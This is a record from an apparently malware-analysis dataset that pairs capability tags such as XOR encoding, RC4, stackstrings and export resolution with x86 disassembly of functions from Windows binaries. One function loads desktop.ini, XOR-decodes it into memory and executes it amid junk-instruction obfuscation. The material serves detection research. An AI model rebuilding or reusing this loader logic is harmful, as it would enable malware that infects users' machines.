joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x10002e78
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
pushal
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push edi
push ecx
push 0x33
call 0x10008590
cmp al, 0x19
ja 0x10002e93
add al, 0x41
jmp 0x10002e95
add al, 0x47
pop ecx
pop edi
mov byte [edi], al
inc edi
loop 0x10002e82
popal
leave
ret 8
Function at 0x4017a0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
xor eax, eax
cmp dword [esp + 0x24], 0
je 0x401890
mov ebx, dword [esp + 0x28]
test ebx, ebx
je 0x401890
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x4017ea
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x4017f1
inc edi
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
mov ecx, esi
cmp ebp, edi
jne 0x4017d0
jmp 0x4017f3
mov esi, 0x1505
jmp 0x4017f3
mov esi, ecx
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + 0x20]
lea ebx, [edx - 1]
mov dword [esp + 8], edx
sub edx, 1
mov dword [esp + 0xc], edx
jb 0x401890
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
xor edi, edi
mov edx, ebx
mov dword [esp], ebx
jmp 0x401831
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
cmp edi, dword [esp + 8]
jae 0x40188e
lea eax, [edi + edx]
and eax, dword [esp + 0xc]
mov ebx, dword [esp + 4]
mov ebp, dword [ebx + eax*4]
cmp ebp, 0xffffffff
je 0x40188e
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x401820
mov eax, dword [ecx + 0xc]
mov ebx, dword [eax + ebp*4]
push ebx
call fcn.004084a0
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp + 0x2c]
jne 0x401820
push dword [esp + 0x2c]
push ebx
push dword [esp + 0x30]
call fcn.004084c0
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x401820
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x401890
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402610
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x402796
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x40278f
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
mov eax, edx
jmp 0x4026a5
mov eax, dword [esp]
sub eax, dword [esp + 0xc]
add ebp, eax
mov esi, dword [esp + 4]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov eax, 0x15b0
je 0x40278f
xor ebx, ebx
cmp eax, 8
mov dword [esp], eax
mov dword [esp + 4], esi
jb 0x40271e
mov ebx, eax
and ebx, 0x1ff8
xor edx, edx
nop
nop
nop
mov eax, edx
movzx edx, byte [ebp + edx]
add edx, edi
add ecx, edx
movzx esi, byte [ebp + eax + 1]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 2]
add edx, esi
add ecx, edx
movzx esi, byte [ebp + eax + 3]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 4]
add edx, esi
add ecx, edx
movzx esi, byte [ebp + eax + 5]
add esi, edx
add ecx, esi
movzx edx, byte [ebp + eax + 6]
add edx, esi
add ecx, edx
movzx edi, byte [ebp + eax + 7]
add edi, edx
add ecx, edi
lea edx, [eax + 8]
add eax, 0xf
cmp eax, dword [esp]
mov eax, dword [esp]
jb 0x4026c0
add ebp, edx
mov esi, dword [esp + 4]
mov edx, ebx
sub edx, eax
jae 0x40266d
mov dword [esp + 8], edx
mov esi, eax
and esi, 3
mov dword [esp + 0xc], ebx
mov eax, ebx
mov edx, ebp
je 0x40274c
nop
nop
nop
nop
nop
inc eax
movzx ebx, byte [edx]
add edi, ebx
add ecx, edi
inc edx
dec esi
jne 0x402740
cmp dword [esp + 8], 0xfffffffc
ja 0x402660
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x402760
jmp 0x402660
shl ecx, 0x10
or ecx, edi
jmp 0x40279b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4027b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x40281d
mov edx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
lea eax, [esi + esi]
not eax
add eax, esi
test edx, edx
je 0x402819
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
and eax, 0xf
mov ebp, edi
and ebp, 0xf
add ebp, eax
and eax, edi
add eax, eax
sub ebp, eax
xor ebx, dword [ebp*4 + 0x44280c]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x44280c]
inc esi
cmp edx, esi
jne 0x4027e0
not eax
jmp 0x40281f
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4082e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
cmp eax, ebp
jbe 0x40833c
lea ecx, [esi + ebp]
cmp ecx, eax
jbe 0x40833c
test esi, esi
je 0x4083fd
lea ecx, [esi + ebp]
dec ecx
lea edx, [eax + esi]
dec edx
mov ebx, esi
and ebx, 7
je 0x4083a1
neg ebx
xor edi, edi
nop
nop
nop
nop
nop
nop
movzx eax, byte [ecx + edi]
mov byte [edx + edi], al
dec edi
cmp ebx, edi
jne 0x408320
add ecx, edi
add edx, edi
add edi, esi
cmp esi, 8
jae 0x4083a8
jmp 0x4083fd
mov ecx, esi
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ebx, esi
and ebx, 0xfffffffc
add eax, ebx
add ebx, ebp
mov ebp, esi
and ebp, 3
mov ecx, ebp
shr ecx, 1
mov edx, ebx
mov edi, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov ecx, esi
xor ecx, 2
and ecx, ebp
je 0x4083fd
and esi, 2
movzx edx, byte [ebx + esi]
mov byte [eax + esi], dl
cmp ecx, 1
je 0x4083fd
movzx edx, byte [ebx + esi + 1]
mov byte [eax + esi + 1], dl
cmp ecx, 2
je 0x4083fd
movzx ecx, byte [ebx + esi + 2]
mov byte [eax + esi + 2], cl
jmp 0x4083fd
mov edi, esi
cmp esi, 8
jb 0x4083fd
neg edi
xor esi, esi
nop
nop
nop
nop
movzx eax, byte [ecx + esi]
mov byte [edx + esi], al
movzx eax, byte [ecx + esi - 1]
mov byte [edx + esi - 1], al
movzx eax, byte [ecx + esi - 2]
mov byte [edx + esi - 2], al
movzx eax, byte [ecx + esi - 3]
mov byte [edx + esi - 3], al
movzx eax, byte [ecx + esi - 4]
mov byte [edx + esi - 4], al
movzx eax, byte [ecx + esi - 5]
mov byte [edx + esi - 5], al
movzx eax, byte [ecx + esi - 6]
mov byte [edx + esi - 6], al
movzx eax, byte [ecx + esi - 7]
mov byte [edx + esi - 7], al
add esi, 0xfffffff8
cmp edi, esi
jne 0x4083b0
mov eax, dword [esp + 0x14]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x408a10
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov ecx, dword [esp + 4]
mov dword [0x44ab64], ecx
mov eax, 0xfffffd92
nop
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul ecx, edx, 0x6c078965
add ecx, eax
add ecx, 0x26f
mov dword [eax*4 + 0x44b520], ecx
test eax, eax
je 0x408a61
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul ecx, edx, 0x6c078965
add ecx, eax
add ecx, 0x270
mov dword [eax*4 + 0x44b524], ecx
add eax, 2
jmp 0x408a20
mov dword [0x44ab60], 0x270
ret

Function at 0x408a70
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov eax, dword [0x44ab60]
cmp eax, 0x270
jne 0x408acf
mov eax, 0xfffff640
mov edx, dword [0x44ab64]
nop
nop
nop
nop
nop
nop
nop
nop
and edx, 0x80000000
mov esi, dword [eax + 0x44b528]
mov ecx, esi
and ecx, 0x7ffffffe
or ecx, edx
mov edx, esi
and esi, 1
neg esi
and esi, 0x9908b0df
xor esi, dword [eax + 0x44bb58]
shr ecx, 1
xor esi, ecx
mov dword [eax + 0x44bee4], esi
add eax, 4
jne 0x408a90
mov eax, 0x270
jmp 0x408ae5
cmp eax, 0x4e0
jb 0x408ae5
mov ecx, 0x44ab60
call fcn.00408ca0
mov eax, dword [0x44ab60]
lea ecx, [eax + 1]
mov dword [0x44ab60], ecx
mov eax, dword [eax*4 + 0x44ab64]
mov ecx, eax
shr ecx, 0xb
and ecx, dword [0x44bee4]
xor ecx, eax
mov eax, ecx
shl eax, 7
and eax, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc40000
xor ecx, eax
shr ecx, 0x12
and eax, 0x7fff
xor eax, ecx
pop esi
ret
Function at 0x408b30
Capabilities:
Generate random numbers using a mersenne twister
Get common file path
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x210
call fcn.0043cd10
test al, al
je 0x408c98
lea eax, [esp + 8]
push 0
push 0x10
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
call fcn.00435c20
test al, al
je 0x408c93
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 0xe096cebd
mov esi, 0xc3345522
mov ecx, ebx
shrd esi, edx, cl
mov dword [esp], eax
shr edx, cl
test bl, 0x20
je 0x408b90
mov esi, edx
xor edx, edx
mov eax, esi
not eax
mov ecx, edx
not ecx
mov ebp, eax
or ebp, 0xc3345522
mov edi, ecx
or edi, 0xe096cebd
and eax, 0x3ccbaadd
and ecx, 0x1f693142
add ebp, esi
adc edi, edx
add ebp, 1
adc edi, 0
or edi, ecx
or ebp, eax
mov ebx, edi
not ebx
mov ecx, ebp
not ecx
and edi, 0x64a3a5a
and ebp, 0x335e58f6
mov esi, ebx
and esi, 0xf9b5c5a5
mov eax, ecx
and eax, 0xcca1a709
imul edi, eax
mul ebp
mov dword [esp + 4], eax
add edx, edi
imul esi, ebp
add esi, edx
mov edx, ebx
and edx, 0x64a3a5a
mov edi, ecx
and edi, 0x335e58f6
or ecx, 0x335e58f6
mov eax, ecx
imul ecx, edx
mul edi
add ecx, edx
or ebx, 0x64a3a5a
imul ebx, edi
add ebx, ecx
add eax, dword [esp + 4]
adc ebx, esi
mov edi, ebx
shr edi, 0x15
xor edi, ebx
mov esi, ebx
shld esi, eax, 0xb
xor esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x408c6f
mov ecx, 0x9605d6a1
mov eax, esi
mul ecx
imul ecx, esi, 0x2f7331a2
imul ebx, edi, 0x9605d6a1
add ebx, edx
add ebx, ecx
mov esi, eax
mov ecx, dword [esp]
shrd esi, ebx, cl
mov edi, ebx
shr edi, cl
test cl, 0x20
je 0x408c6b
mov esi, edi
xor edi, edi
xor edi, ebx
xor esi, eax
or edi, 0x1010101
or esi, 0x1010101
push edi
push esi
call fcn.00409df0
add esp, 8
test al, al
je 0x408c93
call fcn.0040cb80
call fcn.0040b7b0
call fcn.0043dd50
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408ca0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push edi
push esi
mov esi, dword [ecx + 0x9c4]
mov eax, 0x3fe
jmp 0x408cd0
and esi, 0x80000000
or edi, esi
shr edi, 1
xor edi, dword [ecx + eax*4]
xor edi, ebx
mov dword [ecx + eax*4 - 0xff4], edi
inc eax
mov esi, edx
cmp eax, 0x4e1
je 0x408cf2
mov edx, dword [ecx + eax*4 - 0x630]
mov edi, edx
and edi, 0x7fffffff
mov ebx, edx
xor ebx, 0x7ffffffe
and ebx, edi
je 0x408cb0
mov ebx, 0x9908b0df
jmp 0x408cb0
mov esi, dword [ecx + 0xd50]
mov eax, 0x355
nop
nop
nop
and esi, 0x80000000
mov edi, dword [ecx + eax*4]
mov edx, edi
and edx, 0x7ffffffe
or edx, esi
shr edx, 1
mov esi, edi
and edi, 1
neg edi
and edi, 0x9908b0df
xor edi, dword [ecx + eax*4 - 0xd50]
xor edi, edx
mov dword [ecx + eax*4 - 0x9c4], edi
inc eax
cmp eax, 0x4e1
jne 0x408d00
mov edx, SysReAllocString
and edx, dword [ecx + 0x1380]
mov eax, dword [ecx + 4]
mov esi, eax
and esi, 0x7ffffffe
or esi, edx
shr esi, 1
and eax, 1
neg eax
and eax, 0x9908b0df
xor eax, esi
mov edx, dword [ecx + 0x634]
mov esi, eax
and esi, edx
add eax, edx
add esi, esi
sub eax, esi
mov dword [ecx + 0x9c0], eax
mov dword [ecx], 0
pop esi
pop edi
pop ebx
ret

Function at 0x408f70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x14]
movzx eax, word [esi]
test ax, ax
je 0x4090da
mov edx, dword [esp + 0x18]
dec edx
je 0x4090da
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x408fc0
lea eax, [ebp + 1]
mov byte [ebp], bl
jmp 0x409070
cmp ebx, 0x7ff
ja 0x408ff0
cmp edx, 2
jb 0x408ff0
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 2]
mov byte [ebp + 1], bl
jmp 0x409070
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x409098
cmp edx, 4
jb 0x409098
movzx edi, word [esi + 2]
add esi, 4
mov eax, ebx
xor eax, 0xd800
and ebx, 0x27ff
add ebx, ebx
sub ebx, eax
shl ebx, 0xa
lea ecx, [ebx + edi]
add ecx, 0xffff2400
lea eax, [ebx + edi]
add eax, 0x2400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebp + 2], cl
mov eax, edi
and al, 0x3f
or al, 0x80
mov ecx, eax
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov edi, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
sub ecx, ebp
mov esi, edx
not esi
and esi, ecx
not ecx
and ecx, edx
sub ecx, esi
mov esi, edi
mov ebp, eax
mov edx, ecx
movzx eax, word [esi]
test ax, ax
je 0x4090da
test edx, edx
jne 0x408fa0
jmp 0x4090da
movzx eax, ax
cmp eax, 0xdc00
jne 0x4090a6
mov esi, edi
jmp 0x409086
cmp edx, 3
jb 0x4090d6
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov ecx, ebx
shr ecx, 6
mov eax, ecx
not eax
or eax, 0x3f
add eax, ecx
add al, 0x81
mov byte [ebp + 1], al
and bl, 0x3f
or bl, 0x80
mov byte [ebp + 2], bl
lea eax, [ebp + 3]
jmp 0x409070
mov eax, ebp
jmp 0x409070
mov byte [ebp], 0
sub ebp, dword [esp + 0x14]
mov eax, ebp
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x409df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x220
mov eax, dword [0x44bf40]
mov dword [esp + 0x1a0], 0x13121910
mov word [esp + 0x1a4], 0
mov byte [esp + 0x1a6], 0
mov ecx, 0x27244b44
mov edx, 0xbb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x272449a4]
mov esi, edx
xor esi, ecx
and esi, edi
xor esi, ecx
add esi, 0x3c4a87ab
mov ebx, esi
and ebx, 0x50
add ebx, ebx
xor esi, 0xaf
sub ebx, esi
add bl, 0xb0
mov byte [esp + ecx - 0x272449a4], bl
inc ecx
dec edx
cmp ecx, 0x27244b4b
jne 0x409e30
mov ecx, dword [esp + 0x1a0]
mov dword [esp + 0x10], 0xff90983
mov dword [esp + 0x14], 0x3e10d3a
mov dword [esp + 0x18], 0x7300137
mov dword [esp + 0x1c], 0x1bfe0536
mov dword [esp + 0x20], 0x1fe219e4
mov word [esp + 0x24], 0x1d1c
mov dword [esp + 0x26], 0
mov byte [esp + 0x2a], 0
xor edx, edx
nop
nop
movzx esi, byte [esp + edx + 0x10]
mov ebx, edx
and ebx, 0x1e
xor ebx, 0x92daed3e
mov edi, edx
and edi, 1
sub edi, ebx
lea ebp, [esi + esi]
not ebp
add ebp, esi
mov ebx, esi
not ebx
or ebx, ebp
xor ebx, esi
and ebx, edi
xor ebx, esi
mov esi, 0xca
sub esi, ebx
not ebx
and ebx, 1
or esi, 1
sub ebx, esi
mov byte [esp + edx + 0x10], bl
inc edx
cmp edx, 0x1b
jne 0x409eb0
lea esi, [esp + 0x10]
push ecx
push 0
push esi
call eax
mov ecx, 0x44bf44
push eax
call fcn.0043cc80
movzx eax, al
mov eax, dword [eax*4 + 0x4459ac]
mov ecx, 0x10960d0e
xor ecx, dword [0x4459b4]
add ecx, eax
inc ecx
xor eax, eax
jmp ecx
Function at 0x40aa30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
movzx ebx, byte [edx]
test bl, bl
je 0x40aca7
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x20]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x40aa6c
cmp edx, esi
jae 0x40aca7
test edi, edi
je 0x40aca7
movzx ebp, bl
test bl, bl
js 0x40aaa0
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x28]
movzx ebx, byte [edx]
test bl, bl
jne 0x40aa60
jmp 0x40aca7
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40aadd
cmp bl, 0xc2
jb 0x40aa90
movzx ebx, byte [edx + 1]
movzx esi, bl
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x40ab50
and ebp, 0x1f
shl ebp, 6
add edx, 2
and esi, 0x3f
or esi, ebp
jmp 0x40ab9f
mov ecx, ebp
xor ecx, 0xffffff0f
mov esi, ebp
or esi, 0xf0
and esi, ecx
cmp esi, 0xe0
jne 0x40ab18
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40ab5a
cmp ebp, 0xe0
jne 0x40ab63
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0x40aa8c
jmp 0x40ab63
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40ac8a
cmp bl, 0xf4
ja 0x40aa8c
movzx ecx, byte [edx + 1]
je 0x40abb6
cmp ebp, 0xf0
jne 0x40abbf
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40aa8c
jmp 0x40abbf
inc edx
mov esi, dword [esp + 0x28]
jmp 0x40aa93
cmp cl, 0x9f
ja 0x40aa8c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ac91
movzx ebx, byte [edx + 2]
movzx esi, bl
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40abaa
shl ebp, 0xc
and ecx, 0x3f
shl ecx, 6
or ecx, ebp
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40aa82
add edx, 2
mov esi, dword [esp + 0x28]
jmp 0x40aa93
cmp cl, 0x8f
ja 0x40aa8c
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40ac91
movzx ebp, byte [edx + 2]
mov esi, ebp
not esi
or esi, 0xc0
add esi, ebp
cmp esi, 0x7f
jne 0x40ac97
mov dword [esp], ebp
movzx ebp, byte [edx + 3]
mov esi, ebp
not esi
or esi, 0xc0
mov dword [esp + 4], ebp
add esi, ebp
cmp esi, 0x7f
jne 0x40ac9f
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
or ecx, esi
mov ebp, dword [esp]
and ebp, 0x3f
shl ebp, 6
or ebp, ecx
add edx, 4
mov ecx, ebp
and ecx, 0x1ff800
cmp ecx, 0xd800
je 0x40aa8c
mov ebx, dword [esp + 4]
and ebx, 0x3f
or ebx, ebp
cmp ebx, 0x10000
mov esi, dword [esp + 0x28]
jb 0x40aa90
cmp edi, 2
jb 0x40ac8a
add ebp, 0xf0000
shr ebp, 0xa
and ebp, 0x3ff
or ebp, 0xd800
mov word [eax], bp
and ebx, 0x3ff
or ebx, 0xdc00
lea ecx, [eax + 4]
mov word [eax + 2], bx
jmp 0x40aa82
mov ecx, eax
jmp 0x40aa82
inc edx
jmp 0x40aa8c
add edx, 2
jmp 0x40aa8c
add edx, 3
jmp 0x40aa8c
mov word [eax], 0
sub eax, dword [esp + 0x1c]
sar eax, 1
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b170
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x150
mov esi, esp
mov eax, dword [ebp + 8]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0x3c
mov dword [esi + 0x34], 0xffffffff
mov dword [esi + 0x50], 0xffffffff
mov edx, 0xfffffffe
mov ecx, dword [0x44bf1c]
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + edx + 2], 0
lea edx, [edx + 2]
jne case.default.0x40b21e
sar edx, 1
lea edi, [esi + 0x20]
push edi
push 0
push edx
push eax
call ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445d1c]
xor eax, eax
jmp 0x40b7a2
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b7e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x43c
mov ebx, dword [esp + 0x468]
mov edi, dword [esp + 0x450]
mov dword [esp + 0x3c], 0x1fad1955
mov dword [esp + 0x40], 0x63cb1da2
mov dword [esp + 0x44], 0x67ca61cc
mov dword [esp + 0x48], 0x6b1965c5
mov dword [esp + 0x4c], 0x6f1c691d
mov dword [esp + 0x50], 0x73126d1c
mov dword [esp + 0x54], 0x772d7118
mov dword [esp + 0x58], 0x7bc875dd
mov dword [esp + 0x5c], 0x7fcd79dc
mov dword [esp + 0x60], 0x43f57dc7
mov dword [esp + 0x64], 0x47144120
mov dword [esp + 0x68], 0x4b2a4510
mov dword [esp + 0x6c], 0x4f3e4939
mov dword [esp + 0x70], 0x53224d3e
mov dword [esp + 0x74], 0x5736512f
mov dword [esp + 0x78], 0x5bf3550f
mov dword [esp + 0x7c], 0x5f2459ea
mov dword [esp + 0x80], 0xa3dd5d28
mov dword [esp + 0x84], 0xa71ea1c0
mov dword [esp + 0x88], 0xabdea5de
mov dword [esp + 0x8c], 0xafcea9c1
mov dword [esp + 0x90], 0xb302aded
mov dword [esp + 0x94], 0xb71ab100
mov dword [esp + 0x98], 0xbbe1b511
mov dword [esp + 0x9c], 0xbf18b91d
mov dword [esp + 0xa0], 0x832bbdf3
mov dword [esp + 0xa4], 0x87f58134
mov dword [esp + 0xa8], 0x8bfd85f1
mov dword [esp + 0xac], 0x8ffc89f3
mov dword [esp + 0xb0], 0x93e88dfb
mov dword [esp + 0xb4], 0x97fe91f0
mov dword [esp + 0xb8], 0x9bd295db
mov dword [esp + 0xbc], 0x9fd399cc
mov dword [esp + 0xc0], 0xe38e9dd0
mov dword [esp + 0xc4], 0xe74ae180
mov dword [esp + 0xc8], 0xeb45e54d
mov dword [esp + 0xcc], 0xef8ee94d
mov dword [esp + 0xd0], 0xf357eda7
mov dword [esp + 0xd4], 0xf759f157
mov dword [esp + 0xd8], 0xfb93f547
mov dword [esp + 0xdc], 0xffb9f998
mov dword [esp + 0xe0], 0xc374fd54
mov dword [esp + 0xe4], 0xc76bc173
